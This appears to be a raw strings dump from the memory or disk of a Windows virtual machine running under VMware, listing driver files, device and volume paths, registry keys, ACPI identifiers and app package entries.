i8042prt NTPNP_PCI0002 NTPNP_PCI0001 \_SB.L1M0.L0M6 \_SB.L1M7.L0M1 \_SB.PCI0.PE45 \_SB.L1M4.L0M3 TaskbarDa \_SB.PCI0.PE42 \_SB.L1M0.L0M5 \_SB.L1M7.L0M0 \_SB.L1M4.L0M1 \_SB.L1M4.L0M5 UUTUUTUTTUUTUUT stornvme clfscntrl BaseNamedObjects ScsiPort0 Harddisk0 IMM32.dll clfscntrl WindowsTrustedRT \Windows\Fonts SWD\DRIVERENUM volmgrx.sys Restricted SWC\Generic vsock.sys ScsiPort1 WindowsTrustedRT DriverData intelpep.sys \Device\vmci WindowsTrustedRT VMCIDetachCB DmaAdapter storahci.sys VMCIGuestDev FileSystem PowerPort EnergyTracker TRKWKS_EVENT Audio Active EventRitExited \Windows\WinSxS Mobile Hotspot \Device\Video1 PowerRequest PowerMonitorPort ksecdd.sys \Device\Video0 ACPI\PNP0A05\15 ACPI\PNP0A05\1a ACPI\PNP0A05\19 ACPI\PNP0A05\17 storport ACPI\PNP0A05\11 DosDevices ACPI\PNP0A05\1c ACPI\PNP0A05\1d DriverDatabase ACPI\PNP0A05\20 ACPI\PNP0A05\1b ACPI\PNP0A05\1f ACPI\PNP0A05\16 ACPI\PNP0A05\10 ACPI\ACPI0003\1 ACPI\PNP0A05\14 ACPI\PNP0A05\1e IntelPMT.sys ACPI\PNP0A05\13 ACPI\PNP0A05\12 RaidPort0 ACPI\PNP0A05\18 ACPI\PNP0A05\2f ACPI\PNP0A05\2b ACPI\PNP0A05\25 ACPI\PNP0A05\39 ACPI\PNP0A05\2d ACPI\PNP0A05\4b ACPI\PNP0A05\22 ACPI\PNP0A05\24 ACPI\PNP0A05\47 ACPI\PNP0A05\37 ACPI\PNP0A05\4a ROOT\UMBUS\0000 ACPI\VMW0001\7 ACPI\PNP0A05\53 ACPI\PNP0A05\33 ACPI\PNP0A05\46 ACPI\PNP0A05\4e ACPI\PNP0A05\51 ACPI\PNP0A05\54 ACPI\PNP0A05\4c ACPI\PNP0A05\26 ACPI\PNP0A05\35 HTREE\ROOT\0 ACPI\PNP0A05\2c ACPI\PNP0C02\4 ACPI\PNP0A05\41 ROOT\VID\0000 ACPI\PNP0A05\3b ACPI\PNP0A05\28 ACPI\PNP0A05\3f ACPI\PNP0A05\3a ACPI\PNP0A05\3d ACPI\PNP0A05\3e ACPI\PNP0A05\43 ACPI\PNP0A05\31 ACPI\PNP0A05\30 ACPI\PNP0A05\4f ACPI\PNP0A05\34 ACPI\PNP0A05\49 ACPI\PNP0A05\52 ACPI\PNP0A05\3c ACPI\PNP0A05\45 ACPI\PNP0A05\55 ACPI\PNP0A05\38 ROOT\KDNIC\0000 ACPI\PNP0A05\21 ACPI\PNP0A05\2e ACPI\PNP0A05\42 ACPI\PNP0A05\29 ACPI\PNP0A05\32 ACPI\PNP0A05\50 ACPI\PNP0A05\23 ACPI\PNP0A05\2a ACPI\PNP0A05\4d ACPI\PNP0A05\44 ACPI\PNP0A05\57 ACPI\PNP0A05\40 ACPI\PNP0A05\56 ACPI\PNP0A05\36 ACPI\PNP0C02\1f ACPI\PNP0A05\48 ACPI\PNP0A05\27 NTPNP_PCI0043 spaceport Spaceport spaceport.sys Partition0 PhysicalDrive0 ACPI_ROOT_OBJECT dxgkrnl.sys wfplwfs.sys WFPL2DPConfig cdrom.sys HarddiskVolume1 NTPNP_PCI0044 SystemPartition SystemPartition NTPNP_PCI0045 ExFatRecognizer ReFSRecognizer CdfsRecognizer ReFSv1Recognizer Partition1 Spaceport fvevol.sys NTPNP_PCI0046 Fs_Rec.SYS RDMA Activity VolMgrControl \Device\Ndis HarddiskVolume2 \Device\0000006e SoftwareDevice volmgr.sys ACPIMOFResource BitLocker BitLocker HarddiskVolume4 BasicDisplay VolMgrControl mountmgr.sys NdisCmState STORAGE\Volume HarddiskVolume1 DeviceApi DeviceApi NdisBindUnbind MofResourceName HarddiskVolume3 PnpManager HarddiskVolume4 ScsiPort3 volume.sys \Device\kloader HDAudBus \DosDevices\C: vdrvroot atapi.sys NdisThreadState spaceport Partition4 0000-0000 NTPNP_PCI0040 BasicRender CompositeBus BootDevice BitLocker NdisVirtualBus ksecpkg.sys \Windows EhStorClass \$Mft::$BITMAP PciIde0Channel0 \WindowsApps\ $Corrupt Intel-PIIX4 fltmgr.sys HarddiskVolume2 ScsiPort2 e1i68x64 .dll EhStorClass.sys filecrypt.sys mssmbios intelide.sys rdyboost.sys tcpip.sys Partition2 0000-0000 volsnap.sys PciIde0Channel1 MofResourceName kernelbase.dll \WpSystem\ WMIDataDevice FltMgrMsg WMIDataDevice nvmedisk.sys 0000-0000 fileinfo.sys SharedSection FltMgrMsg CsrSbSyncEvent EtwRegistration FileCrypt \Driver\WMIxWDM EtwConsumer CimfsControl CoverageSampler Wdf01000.sys \Device\Mup \MapData\ storahci vdrvroot.sys WdFilter.sys NTPNP_PCI0041 \Device\Mup RaidPort1 iorate.sys stornvme.sys NXTIPSECDevice \ProgramData webclient Operator Operator Operator Operator \WindowsApps\ Game Mode Operator Operator Screen Off Operator Operator Operator acpiex.sys Operator RESOURCE_HUB RESOURCE_HUB Operator Operator Operator Operator TriggerType HighDrain Standby msseccore.sys MsSecCore Operator Operator Operator Operator PartmgrControl partmgr.sys HTREE\ROOT\0 \Device\WFP WdBoot.sys IPSECDOSP hwpolicy.sys SWD\COMPUTER PartmgrControl amdwps.sys \Device\WfpAle NTPNP_PCI0042 Partition3 HarddiskVolume3 IPSECDOSPDevice BootPartition BootPartition Microsoft Windows Production PCA 2011 Unidentified Driver (Power Manager) SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A PCIIDE\IDEChannel\4&23686003&0&0 SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_B SWD\MIDISRV\MIDIU_LOOP_TRANSPORT \SystemRoot\System32\config\DRIVERS PCIIDE\IDEChannel\4&23686003&0&1 SWD\MIDISRV\MIDIU_DIAG_TRANSPORT \SystemRoot\System32\config\SYSTEM Microsoft PolicySettings SignedPolicySessionOnlyLock PolicyInfo Information 10.0.29482.0 PolicyInfo Information Name Microsoft Windows Endpoint Security Policy SubC SuperfetchScenarioNotify WinNT PrefetchTracesReady SleepstudyControlPort UMDFCommunicationPorts WofCompressedData IoSessionNotifications WofCompressedData \Windows\System32\en-US CIRCLASS#IrDeviceV2 \Device\HarddiskVolume4 WofCompressedData ACPI_HAL\PNP0C08\0 ROOT\vdrvroot\0000 ROOT\volmgr\0000 ROOT\BasicDisplay\0000 ROOT\spaceport\0000 ROOT\BasicRender\0000 ROOT\RDPBUS\0000 ROOT\ACPI_HAL\0000 ROOT\CompositeBus\0000 ROOT\mssmbios\0000 ROOT\SYSTEM\0000 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_0 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_1 \\?\SWD#MMDEVAPI#MicrosoftGSWavetableSynth#{6dc23320-ab33-4ce4-80d4-bbb3ebbf2814} SWD\DRIVERENUM\{96bedf2c-18cb-4a15-b821-5e95ed0fea61}#VocaEffectPack&1&1339c6b5&0 \\?\DISPLAY#Default_Monitor#4&427137e&0&UID0#{866519b5-3f07-4c97-b7df-24c5d8a8ccb8} \Registry\Machine\System\CurrentControlSet\Services\WindowsTrustedRTProxy SWD\DRIVERENUM\{96bedf2c-18cb-4a15-b821-5e95ed0fea61}#VocaEffectPack&1&1339c6b5&0 \\?\DISPLAY#Default_Monitor#4&427137e&0&UID0#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7} \\?\DISPLAY#Default_Monitor#1&8713bca&0&UID0#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7} \\?\DISPLAY#Default_Monitor#1&8713bca&0&UID0#{866519b5-3f07-4c97-b7df-24c5d8a8ccb8} ROOT\VID\0000 ROOT\CompositeBus\0000 ROOT\vdrvroot\0000 ROOT\spaceport\0000 ROOT\KDNIC\0000 ROOT\UMBUS\0000 ROOT\BasicRender\0000 ROOT\NdisVirtualBus\0000 ROOT\mssmbios\0000 ROOT\SYSTEM\0000 ROOT\RDPBUS\0000 ACPI_HAL\PNP0C08\0 ACPI\PNP0A03\2&daba3ff&0 ACPI\ACPI0003\1 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_0 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_1 \\?\PCI#VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00#000C29FFFFF29C8B00#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{86841137-ed8e-4d97-9975-f2ed56b4430e}\IntAzAudPrivateInterface \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{a17579f0-4fec-4936-9364-249460863be5}\IntAzAudPrivateInterface \Device\Video5 \\.\DISPLAY6 VV\]xz \$Extend\$RmMetadata\$TxfLog\$TxfLogContainer00000000000000000002 \Windows\System32\DriverStore\FileRepository\basicdisplay.inf_amd64_2753efdbb0d9a226\BasicDisplay.sys y\Machine\System\CurrentControlSet\Control\MiniNT ]Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Windows\System32\DriverStore\FileRepository\swenum.inf_amd64_8b9dd76f362e3ec6\swenum.sys istry\Machine\System\Current[Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat \Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog.blf \Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp.sys \Windows\System32\DriverStore\FileRepository\umbus.inf_amd64_914dd46b4b013b1b\umbus.sys \Windows\System32\DriverStore\FileRepository\basicrender.inf_amd64_be4cb8d455d1ca0d\BasicRender.sys \Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp.sys \Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp_loader.sys rosoft-Windows-CoreSystem-Ge[Microsoft-OneCore-Graphics-BasicDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat egistry\Machine\System\CurrentControlSet\Control\ \Device\P9Rdr wsl.localhost wsl$ \Driver\KSecDD MicrosoftMalwareProtectionVeryLowIoPortWD TCPIP Transport Layer Packet Drop Counters Per Processor Network Interface Card Activity CHIN \??\ROOT#UMBUS#0000#{65a9a6cf-64cd-480b-843e-32c86e1ba19f} \??\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \??\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata\000029.ldb e-real-index 1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Registry\Machine\System\CurrentControlSet\Services\Ntfs \Registry\Machine\System\CurrentControlSet\Services\nvmedisk \Registry\Machine\System\CurrentControlSet\Services\fvevol \Registry\Machine\System\CurrentControlSet\Services\volsnap \Registry\Machine\System\CurrentControlSet\Services\disk \Registry\Machine\System\CurrentControlSet\Services\NDISm \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot \Registry\Machine\System\CurrentControlSet\Services\DXGKrnl Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat yeY_jW", IGDFC]0A- #'-7-/1(0 Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000_ JLTR \Windows\System32\drivers\dumpfve.sys LNL? \Windows\System32\drivers\stornvme.sys d-wal \Windows\System32\drivers\crashdmp.sys d-shm \Device\FsWrape STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000_ STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000_ \Windows\System32\drivers\afd.sys STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000_ STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000_ \Windows\System32\drivers\cdrom.sys STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000_ Microsoft Windows Production PCA 2011 \Windows\System32\drivers\filecrypt.sys PPM_Processor_1 \Windows\System32\drivers\cimfs.sys e09} Microsoft Windows Production PCA 2011 9bc} \SystemRoot\System32\Drivers\Null.SYS \Windows\System32\drivers\UCPD.sys Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 9bc} multi(0)disk(0)rdisk(0)partition(4) \Windows\System32\drivers\msfs.sys Microsoft Windows Production PCA 2011 Basic data partition e.sys Microsoft Windows Production PCA 2011 \SystemRoot\System32\Drivers\Npfs.SYS \Windows\System32\drivers\dumpfve.sys \Windows\System32\drivers\stornvme.sys \Windows\System32\drivers\null.sys Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 multi(0)disk(0)rdisk(0)partition(2) \SystemRoot\System32\Drivers\Msfs.SYS Microsoft Windows Production PCA 2011 \$Extend\$Deleted:$I30:$INDEX_ALLOCATION \SystemRoot\system32\drivers\UCPD.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\npfs.sys \SystemRoot\system32\DRIVERS\tdx.sys Microsoft Windows Production PCA 2011 multi(0)disk(0)rdisk(0)partition(1) 9bc} \ProgramData\VMware\RawdskCompatibility \SystemRoot\system32\drivers\tbs.sys \Windows\System32\drivers\tbs.sys Microsoft Windows Production PCA 2011 9bc} \Windows\System32\drivers\crashdmp.sys multi(0)disk(0)rdisk(0)partition(3) Microsoft reserved partition Basic data partition 9bc} \Windows\System32\drivers\dxgmms1.sys Microsoft Windows Production PCA 2011 \Windows\System32\drivers\beep.sys \$Extend\$Reparse:$R:$INDEX_ALLOCATION \SystemRoot\System32\Drivers\Beep.SYS \SystemRoot\System32\Drivers\DriverData \Windows\System32\drivers\tdx.sys Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 \Windows\System32\drivers\vmrawdsk.sys \Windows\System32\drivers\cdrom.sys \SystemRoot\System32\drivers\cdrom.sys Microsoft Windows Production PCA 2011 Microsoft Windows Production PCA 2011 \SystemRoot\System32\Drivers\CimFS.SYS Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \$Extend\$RmMetadata\$Repair:$Corrupt:$DATA Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \$Extend\$RmMetadata\$Repair:$Verify:$DATA \ArcName\multi(0)disk(0)rdisk(0)partition(1) \SystemRoot\System32\drivers\usbehci.sys \ArcName\multi(0)disk(0)rdisk(0)partition(3) Disk{7b6f1752-bd95-6e22-e3a5-6ee8419ecad7} \$Extend\$RmMetadata\$TxfLog\$Tops:$T:$DATA Volume{09356ede-049e-47ae-a633-d74a19c1028b} \$Extend\$RmMetadata\$Txf:$I30:$INDEX_ALLOCATION \FileSystem\Mup StdCloseDocument STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000 ~MHz Component Information Configuration Data Identifier Intel64 Family 6 Model 186 Stepping 2 ProcessorNameString 13th Gen Intel(R) Core(TM) i7-1370P Update Status VendorIdentifier GenuineIntel MSR8B \Windows\System32\vertdll.dll ributes $$TxfLogContainer00000000000000000001gs \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\servicing\TrustedInstaller.exe \??\LOG:\Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog5.dat $$TxfLogContainer00000000000000000002 \Windows\SysWOW64\ntdll.dll \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe \Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog::KtmLog WofCompressedData Microsoft Windows Microsoft Windows WofCompressedData ume3 \Users\job\AppData\Local WofCompressedData \Users\job\AppData Microsoft Windows WofCompressedData \Windows\SystemTemp \ProgramData\Microsoft WofCompressedData Microsoft Windows WofCompressedData WofCompressedData Microsoft Windows WofCompressedData WofCompressedData Microsoft Windows Microsoft Windows WofCompressedData WofCompressedData Microsoft Windows TrustedDomainObject WofCompressedData SC_MANAGER Object UserAccountObject WofCompressedData WofCompressedData Microsoft Windows Microsoft Windows Microsoft Windows WofCompressedData Microsoft Windows WofCompressedData WofCompressedData WofCompressedData WHEA_WMI_PROVIDER SMBiosData SMBiosData SMBiosData \Windows\SysWOW64 ICEsoundAPO64.dll Microsoft Windows PcaTestDeprecation.dll \Device\CdRom0 SMBiosData GooglePinyin2.ime WofCompressedData WofCompressedData WofCompressedData Microsoft Windows WofCompressedData xunleiBHO_Now.dll WofCompressedData AsusWSShellExt64.dll Microsoft Windows WofCompressedData WofCompressedData Driver4 WHEA_WMI_PROVIDER WHEA_WMI_PROVIDER omnipasscredprov.dll WofCompressedData CRawViewerExtension.dll \Device\HarddiskVolume3 \Windows\Microsoft.NET WofCompressedData AsusWSShellExt.dll WHEA_WMI_PROVIDER Buddy API Xtra.x32 WHEA_WMI_PROVIDER SMBiosData OLRStateCheck.dll ServiceModel 4.0.0.0 \Device\HarddiskVolume1 Microsoft Windows Harddisk0Partition1 \Program Files (x86) \Device\HarddiskVolume1 Microsoft Windows WofCompressedData Service Test Loopback B Microsoft Windows WofCompressedData \Device\HarddiskVolume1 \Device\HarddiskVolume1 Microsoft Windows WofCompressedData WofCompressedData 0000 Microsoft Windows WofCompressedData WofCompressedData \Device\DfsClient \Device\HarddiskVolume1 PendingRenameMutex WofCompressedData Service Test Loopback B WofCompressedData vm3dmp_loader.sys WofCompressedData WofCompressedData lume1 \Device\HarddiskVolume1 Microsoft Windows \Program Files\VMware WofCompressedData \Device\HarddiskVolume1 WofCompressedData \Device\HarddiskVolume1 WofCompressedData Microsoft Windows WofCompressedData Info.TotalWcmEngagedTime Microsoft Windows \Windows\System32\config SleepStudy Accounting \Device\HarddiskVolume2 \DosDevices\CdRom0 WofCompressedData WofCompressedData RegistryHiveCacheDriver \Device\HarddiskVolume2 Microsoft Windows Microsoft Windows \Device\HarddiskVolume2 Harddisk0Partition2 Microsoft Windows Info.TotalNqmEngagedTime Microsoft Windows \Device\HarddiskVolume2 WofCompressedData \WindowsApps\Deleted\ WofCompressedData \WindowsApps\MSIXVC\ Microsoft Windows \Device\HarddiskVolume3 \Device\HarddiskVolume3 \WpSystem\\ Microsoft Windows WofCompressedData WofCompressedData Microsoft Windows WofCompressedData Microsoft Windows \Device\HarddiskVolume3 \Device\HarddiskVolume4 \Windows\System32\wbem \Windows\System32\oobe WofCompressedData IsFeedsAvailable WofCompressedData \Device\HarddiskVolume3 \Device\HarddiskVolume3 \Device\HarddiskVolume4 Harddisk0Partition3 WofCompressedData \Device\HarddiskVolume3 Harddisk0Partition4 \Device\HarddiskVolume3 Microsoft Windows C:\WINDOWS\System32 \Device\HarddiskVolume3 \Device\HarddiskVolume3 C:\WINDOWS\SysWOW64 Microsoft Windows \Device\HarddiskVolume4 WofCompressedData WofCompressedData \Device\HarddiskVolume4 WofCompressedData WofCompressedData Microsoft Windows \Windows\apppatch .regtrans-mse3 \Device\HarddiskVolume4 WofCompressedData lume3 \Device\HarddiskVolume4 \Device\00000083 \ProgramData\VMware WofCompressedData lume3 WofCompressedData WofCompressedData C:\WINDOWS\Explorer.EXE Microsoft Windows WofCompressedData lume4 VMWare NVME_0000 WofCompressedData PschedMofResource WofCompressedData Microsoft Windows WofCompressedData WofCompressedData \Device\HarddiskVolume3 VMWare NVME_0000 Microsoft Windows WofCompressedData Microsoft Windows GenericMidiEndpoint \Device\HarddiskVolume3 Microsoft Windows MIDISRV\MidiEndpoints \$Extend\$Deleted \$Extend\$Reparse WofCompressedData WofCompressedData \$Secure:$SDS:$DATA \Device\wdnisdrv \:$I30:$INDEX_ALLOCATION WofCompressedData \:$I30:$INDEX_ALLOCATION \$Extend\$RmMetadata Microsoft Windows WofCompressedData \Device\HarddiskVolume3 \Windows\servicing \Windows\System32 Microsoft Windows Hardware Compatibility Publisher \\?\Volume{09356ede-049e-47ae-a633-d74a19c1028b} RawdskCompatibility.log \??\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NdisCap Microsoft YaHei Bold C:\Windows\System32\CloudExperienceHostBroker.exe C:\Program Files\VMware\VMware Tools\vm3dservice.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Psched C:\WINDOWS\system32\AppHostRegistrationVerifier.exe C:\WINDOWS\uus\packages\preview\AMD64\wuaucltcore.exe C:\Windows\ImmersiveControlPanel\SystemSettings.exe C:\Program Files\VMware\VMware Tools\vmtoolsd.exe \Windows\System32\drivers\UCPD.sys \WpSystem\\AppData\Local\Packages\\AC\ \Windows\System32\drivers\beep.sys SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000_ D:AI(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;FA;;;%s) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\cdrom SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000_ \Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE} SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000_ \Registry\Machine\System\CurrentControlSet\Services\ACPI \Windows\System32\drivers\filecrypt.sys SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000_ \Registry\Machine\System\CurrentControlSet\Services\NDIS SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000_ \Windows\System32\drivers\null.sys \Windows\System32\drivers\vmrawdsk.sys Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced \Windows\System32\drivers\tbs.sys cV4/ &1-3- &./, 2;AF" System32 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat:WofCompressedData NTFS ntfs.sys.mui crashdmp.sys \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat:WofCompressedData servicing \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat::$ATTRIBUTE_LIST $Extend $ObjId $Reparse $RmMetadata drivers ProgramData en-US !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ S-1-5-18 \Device\HarddiskVolume3\Windows\System32\svchost.exe WebExperienceHost.BackgroundTask.Maintenance Windows.BackgroundTasks MicrosoftWindows.Client.CBS_cw5n1h2txyewy s\Prefetch\TASKHOSTW.EXE-2E5D4B75.pf gpsvc.dll S-1-5-20 \Device\HarddiskVolume3\Windows\System32\svchost.exe NTUSER.DAT.LOG2 NTUSER.DAT.LOG1 lmhsvc.dll \Windows\ServiceProfiles\LocalService\NTUSER.DAT{67e8be70-0ec0-11f1-b1f7-bf1c161e67ad}.TMContainer00000000000000000001.regtrans-ms \Registry\WC\Silo087bb5ca-197d-7719-11f2-ac53e8313e21user_sid\Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport InitialDueTime aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Windows\ServiceProfiles\LocalService\NTUSER.DAT{67e8be70-0ec0-11f1-b1f7-bf1c161e67ad}.TMContainer00000000000000000002.regtrans-ms \Windows\System32\drivers\Dumpstorport.sys 1.~tmp -0.bin 0000000b 000a000065f40001 000a000065f40001 8664 Microsoft.Windows.XGpuEjectDialog cw5n1h2txyewy neutral 0000000b 000a0000000803e8 000a000065f41e19 8664 windows.immersivecontrolpanel cw5n1h2txyewy neutral C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\OpenConsole.exe C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\Application 00000009 000400160c760000 000a000065f40000 8664 Microsoft.MicrosoftSolitaireCollection 8wekyb3d8bbwe \Device\CscW) 00000009 020e04b200280000 0000000000000000 8664 MicrosoftWindows.Client.WebExperience cw5n1h2txyewy 00000009 020d791a00960009 000c000000000000 8664 MicrosoftWindows.Client.WebExperience cw5n1h2txyewy 00000009 020e04b200280000 000c000000000000 8664 MicrosoftWindows.Client.WebExperience cw5n1h2txyewy 0000000b 03e8622803e80000 000a000000000000 8664 Microsoft.XboxGameCallableUI cw5n1h2txyewy neutral 00000009 0002000273480000 000a000027410000 8664 Microsoft.NET.Native.Framework.2.2 8wekyb3d8bbwe 0000000b 000a000065f40001 000a000065f40001 8664 MicrosoftWindows.UndockedDevKit cw5n1h2txyewy neutral C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\Application C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\Application 0000000b 000a0000000803e8 000a000065f40000 8664 windows.immersivecontrolpanel cw5n1h2txyewy neutral 00000000 000e000083c00000 000a0000273a0000 8664 Microsoft.VCLibs.140.00.UWPDesktop 8wekyb3d8bbwe 00000009 177002bc08d10064 000c000000000000 8664 Microsoft.WindowsAppRuntime.CBS.1.6 8wekyb3d8bbwe 00000009 1f4002b608b40064 000c000000000000 8664 Microsoft.WindowsAppRuntime.CBS.1.8 8wekyb3d8bbwe \Device\HarddiskVolume3\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe\Application 00000009 000e000083c00000 000a0000273a0000 8664 Microsoft.VCLibs.140.00.UWPDesktop 8wekyb3d8bbwe 00000009 020d791a00960009 0000000000000000 8664 MicrosoftWindows.Client.WebExperience cw5n1h2txyewy C:\Program Files\WindowsApps\Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe\Application < \\?\Volume{09356ede-049e-47ae-a633-d74a19c1028b} ISTRY\MACHINE\SYSTEM\Control windows.storage.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HDAudBus \Windows\System32\drivers\DriverData\LogFiles\WMIt\BCD \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} mmres.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mouhid C:\WINDOWS\system32\Logfiles\WMI\NtfsLog.etl.008 bcryptprimitives.dll trolSet001\Services\cdd bcryptprimitives.dll USB\VID_0E0F&PID_0003&MI_00\7&bcbfcc2&0&0000 C:\WINDOWS\System32\WDI\LogFiles\WdiContextLog.etl.002 USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 